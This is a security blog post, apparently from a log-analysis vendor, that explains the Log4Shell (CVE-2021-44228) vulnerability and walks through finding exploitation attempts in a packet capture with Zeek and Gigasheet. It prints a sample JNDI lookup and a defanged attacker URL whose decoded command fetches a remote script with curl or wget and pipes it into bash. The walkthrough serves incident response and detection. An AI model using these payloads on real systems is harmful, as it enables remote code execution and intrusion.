Recently disclosed vulnerabilities in the popular Java-based logging library, Log4j, has taken the internet by storm. First disclosed on December 9, 2021, the vulnerability was quickly exploited by several e-crime groups and nation state adversaries alike. Though patches for the vulnerabilities have been released by the Apache Software Foundation (ASF), incident responders are hard at work to remediate the adverse effects of this vulnerability.
In this blog post, we’re going to dissect the disclosed vulnerability and analyze a sample packet capture (containing evidence of exploitation) to showcase how responders can remediate the incident and organizations can still perform an internal health check.
What is Log4Shell?
On December 9, 2021, a security advisory was released by the Apache Logging security team disclosing a critical vulnerability, titled CVE-2021-44228 (Log4Shell), in the logging service, Log4j. Leading up to version 2.14.1, JNDI features in Log4j were vulnerable to remote-code execution wherein an attacker could execute code hosted on controlled LDAP servers.
If you’re new to Java or to Log4j, a lot of this might sound like jargon to you. Let’s break this description down into chunks and explain each one individually.
What is Log4J?
Apache has released and actively maintains a fairly large portfolio of open-source software projects. One of these projects is a simple Java-based logging utility, Log4j, which is maintained by Apache Logging Services, a project run under the banner of ASF.
So, if it’s a fairly simple library, what went wrong? Log4j allows lookup substitutions where you could look up a variable, a value, or something else and substitute it in your logs. It's a standard feature in several programming languages as well, e.g. F strings in Python. In Log4j, as an example, you might want to use Environment lookups which allow you to configure environment variables and use them in your log messages.
Here’s an example lookup where the name of the logged-in user is printed in application logs:
<File name="Application" fileName="application.log"><PatternLayout><pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern></PatternLayout></File>
One such similar lookup type is a JNDI lookup. Let’s talk about that next.
What are JNDI Lookups?
Just as Environment lookups allow us to configure environment variables for logging, JNDI lookups are used to retrieve variables using JNDI. What’s JNDI you might ask? Java Naming and Directory Interface is a Java API which provides directory service functionalities, using which one can retrieve data, variables, or even Java objects (including other resources).
For example, you might have a commonly utilized application which is in turn referenced by hundreds of other applications. Rather than hardcoding the address of the common application, one can use an LDAP server to host that information and JNDI lookups to retrieve that information on the fly (using just a name i.e., the hostname of the common application). However, enterprise Java environments use the JNDI feature for far more complex scenarios e.g. fetching Java classes or other objects on the fly.
JNDI lookups aren’t malicious by nature. It was Log4j’s implementation of the feature which led to the discovery of the vulnerability. An interesting fact is that Log4j disallows these lookups by adding in the nolookups tag in the configuration. However, since that’s not done by default, several applications utilizing the library were in fact prone to exploitation.
Now, here’s a sample JNDI lookup retrieving an object from a rogue LDAP server:
${jndi:ldap://hack-me:1389/hackme}
The jndi prefix suggests it’s a JNDI lookup. Next, we’re trying to reach out to an LDAP server, retrieving the object (hackme), and instructing the application to load it. This is where the Log4Shell kicks in. So, you can imagine how if the logger tries to log this particular query, it’s going to execute the command referenced therein. It’s why you’ll see exploitation attempts trying to send these malicious JNDI lookup queries in all sorts of fields - user agents, referrers, URIs, etc. as we’ll see in our analysis later as well.
If you’re looking forward to a more detailed blog on exploiting the vulnerability and analysis of artifacts, we’ve covered that here. Read as Luciana explains the vulnerability, showcases exploitation, and takes over an AWS account exploiting Log4Shell alone.
Analyzing Log4j Logs for Exploitation
Now that the basic explanation is out of the way, let’s take a look at a few logs to understand how the vulnerability is exploited in the wild. To continue with our demonstration, we’ll be utilizing the sample packet captures provided by Malware Traffic Analysis. To follow along, you can retrieve the capture from the link and let’s get to it!
Parsing Logs with Zeek
To analyze the logs with Gigasheet, we’ll first be parsing the packet capture using Zeek. Zeek will simply take in our packet capture and break it down into easily readable logs separated by the protocol. Here’s the command I’ll be using to parse the PCAP file using Zeek:
zeek -r log4j-capture.pcap -C
That’s it. Let’s upload these logs to Gigasheet!
Uploading Logs to Gigasheet
Head over to Gigasheet’s beta and on the ‘Your Files’ page, simply press the ‘Upload’ button and drop your files or link them if they’re hosted somewhere. If they’re zipped, you can upload the archive as well. Gigasheet’s going to process the logs and present them in a beautiful grid for you - taking in zero configuration from your end.
Uploading a ZIP to Gigasheet
Since I’ve uploaded a ZIP file here, Gigasheet's going to unarchive and arrange the log files in a folder for me to review. Here’s a look at the folder:
Processed Logs in Gigasheet
Done with parsing and processing the logs? Let’s analyze it using Gigasheet.
Log4Shell Analysis Using Gigasheet
To kick off our analysis, let’s jump straight into http traffic logs. We’re looking for exploitation attempts referencing JNDI lookups. Application developers and system administrators typically log several fields due to which we can’t restrict ourselves to one particular field. However, to get started, let’s filter on the prefix, jndi, in the URI field and see what logs we pick up.
JNDI Filter on HTTP Logs
We get six results back. Two of these logs directly reference an exploit hosted on the rogue LDAP server which is likely going to compromise our vulnerable systems. One of the two is interesting as it references a Base64-encoded payload. If you’re a security researcher with past interest in JNDI-based exploitation, you might recognize the tool used to create this payload and run the LDAP server - it’s JNDIExploit.
Note: Soon, Gigasheet’s going to process and help decode Base64 and other common encoding algorithms so you’re able to decode such payloads on the fly!
Logs with ‘JNDI’ in URI
JNDIExploit can help researchers (or attackers in this case) set up LDAP and HTTP servers which can then be used to serve (malicious) payloads. If you notice the URL (defanged and pasted below for clarity), the URL has the construct, Basic/Command, which is specific to JNDIExploit. It simply means that the command following this is a Base64-encoded command and needs to be decoded by the LDAP server to serve the payload. It typically does so by generating a dynamic Java class (responsible for execution of the command) which is downloaded in response to the original LDAP query and executed as part of the JNDI lookup.
{URL}/?X=${Jndi:ldap://45.155[.]205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=}
For example, here’s the decoded command from the URI (defanged for your safety):
(curl -s 45.155[.]205.233:5874/162.0[.]228.253:80||wget -q -O- 45.155[.]205.233:5874/162.0[.]228.253:80)|bash
It allows the attacker to gain access to the vulnerable system and execute commands (a bash shell in this case)! Similarly, we can also see the Exploit.java class being downloaded to the vulnerable system to exploit and execute malware on the system.
Apart from this, the last few logs show how adversaries are adding in malicious JNDI lookup queries in all log-able fields. Click one of them and Gigasheet’s going to spawn a detailed view on the far right where you can easily review the log. Either of these three fields get logged, the query executes, and the system’s compromised.
Different Fields Referencing JNDI Lookups
If you want to find all fields referencing JNDI, try Gigasheet’s Find in File feature. Simply use the search bar at the top and type ‘JNDI’ in there. All matching logs will highlight the string you’ve searched for. Using this, you can identify other exploitation attempts from this log file.
Using the 'Find in File' Feature on Gigasheet
Though there are FUIDs in these logs which we can use to find relevant files in the file.log log file, the servers were not hosting the Java classes at the time of the capture. It’s why we’ll be concluding our analysis of Log4Shell here.
Where Do We Stand?
The Apache Logging security team has patched three vulnerabilities in total, ultimately releasing Log4j’s version 2.17.0. Apart from the remote-code execution vulnerability, a Denial of Service (DoS) vulnerability was also discovered in Log4j which was subsequently fixed in the latest release. It’s highly recommended that you audit your environment and the applications used in it to identify Log4j. If it is used, you should patch the vulnerabilities to avoid being compromised by adversaries.
If you’re an Incident Responder looking to quickly analyze logs on the fly, try Gigasheet. With zero configurations and processing overheads, Gigasheet can quickly help you analyze your logs and produce meaningful insights. Click here to sign up, upload your logs to the ‘Your Files’ page, and that’s it - you’re ready for a productive session of analysis!
The ease of a spreadsheet with the power of a data warehouse.
